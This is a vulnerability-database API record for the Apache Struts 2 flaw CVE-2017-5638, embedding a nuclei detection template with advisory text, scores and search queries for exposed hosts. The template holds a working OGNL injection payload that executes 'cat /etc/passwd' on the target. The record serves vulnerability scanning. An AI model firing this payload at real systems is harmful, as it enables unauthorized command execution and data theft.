{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2017-5638/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2017-5638/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2017-5638/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2017-5638/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2017-5638/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2017-5638"},"sightings":{"href":"/api/v1/sightings/cve-2017-5638"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2017/CVE-2017-5638.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2017-5638\n\ninfo:\n  name: Apache Struts 2 - Remote Command Execution\n  author: Random_Robbie\n  severity: critical\n  description: |\n    Apache Struts 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is susceptible to remote command injection attacks. The Jakarta Multipart parser has incorrect exception handling and error-message generation during file upload attempts, which can allow an attacker to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header. This was exploited in March 2017 with a Content-Type header containing a #cmd= string.\n  impact: |\n    Remote attackers can execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade to Apache Struts 2.3.32 or 2.5.10.1 or apply the necessary patches.\n  reference:\n    - https://github.com/mazen160/struts-pwn\n    - https://isc.sans.edu/diary/22169\n    - https://github.com/rapid7/metasploit-framework/issues/8064\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638\n    - http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2017-5638\n    cwe-id: CWE-20\n    epss-score: 0.99999\n    epss-percentile: 0.99994\n    cpe: cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: apache\n    product: struts\n    shodan-query:\n      - html:\"Apache Struts\"\n      - http.title:\"struts2 showcase\"\n      - http.html:\"struts problem report\"\n      - http.html:\"apache struts\"\n    fofa-query:\n      - body=\"struts problem report\"\n      - title=\"struts2 showcase\"\n      - body=\"apache struts\"\n    google-query: intitle:\"struts2 showcase\"\n  tags: cve2017,cve,apache,kev,msf,struts,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: %{(#test='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='cat /etc/passwd').(#p=new java.lang.ProcessBuilder({'/bin/sh','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#sc=new java.util.Scanner(#process.getInputStream())).(#sc.useDelimiter('ZZZZZZZZ')).(#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#rw.println(#sc.next())).(#rw.flush())}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022057e1533693c805b753dac66114ce7f59124b226ccf1a09f5e1fcf1e84e3324e802200fd197678905a2a4de000f7b6edacfe6017878d01911492e0e9d3bf4595906f9:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2017-5638"}